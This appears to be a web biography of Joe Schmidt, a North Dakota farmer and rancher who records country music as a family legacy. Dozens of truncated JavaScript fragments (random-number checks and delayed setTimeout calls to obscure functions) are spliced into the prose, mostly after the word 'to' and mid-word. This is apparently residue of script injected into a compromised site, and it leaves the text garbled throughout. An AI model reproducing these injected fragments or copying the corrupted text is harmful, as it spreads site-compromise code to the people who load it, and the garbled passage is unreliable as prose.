Music has been an emotional and spiritual outlet for Joe Schmidt since his mother taught him dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sing as a little boy. The North Dakota farmer/rancher, husband and father of four remembers practicing with 45’s on the record player and singing “My Name is Michael” with his brother and sister at local talent shows when he was five.

“It’s hard dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explain exactly, but for me singing is my way dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to release – dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to unload my thoughts, my heart, my soul and give myself completely,” he said.

Joe grew up in south central North Dakota in what he describes as “an incredible childhood” of hunting, fishing and caring for the family’s registered Simmental cattle. He also fostered his love of music by playing saxophone in the school band, singing in the church and school choirs and singing along with Marty Robbins, Keith Whitley, George Strait and Garth Brooks on the radio.

After graduating from high school, Joe studied farm and ranch management at Bismarck State College. Then along came Sherry, a bright-eyed and beautiful “friend of a friend” who instantly recognized Joe’s musical gift and unexpectedly sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tole his heart. “I wasn’t looking for love, but the night I met her I knew she was the one.” After a two-year courtship, the couple married in 2001.

The couple started a family in Joe’s home dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town of Medina, North Dakota, where he was born and raised. Joe launched a successful trucking and feeder cattle marketing businesses dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to supplement his small grains and soybeans farm, only years later dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have inspiration guide him dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towards a special project: dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to record a CD’s worth of his favorite songs as a family heirloom for his wife and four children. “When it’s my time dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go, I don’t know if I’ll have any land or cattle or money dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave behind,” Joe explained, “so I decided dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to leave my voice. I hope they will see this as an expression of my love and it’ll be a little piece of me that they will have forever.” When he arrived in Nashville dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to complete the family treasure, others recognized Joe’s rich sound and honest lyrics and convinced him that his gift was one that needed dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be shared not just with his family but with people around the world.

Since then Joe has embraced that challenge and began recording original songs that capture his faith, the love for family, the land and this great nation. Joe draws inspiration for his music from the wide open North Dakota prairie, friends and family, but he credits his father mostly: “Ideas for the lyrics so often come from the philosophies of my dad and the values of honesty, integrity and hard work that he taught us,” Joe said.

Joe can typically be found in the seat of a tracdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor, on a fishing boat or swapping sdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tories with friends with a lime-embellished glass of Crown and water in hand. “But music allows me dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to share my world – my way of life – with others and dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to connect in a way that only music allows.”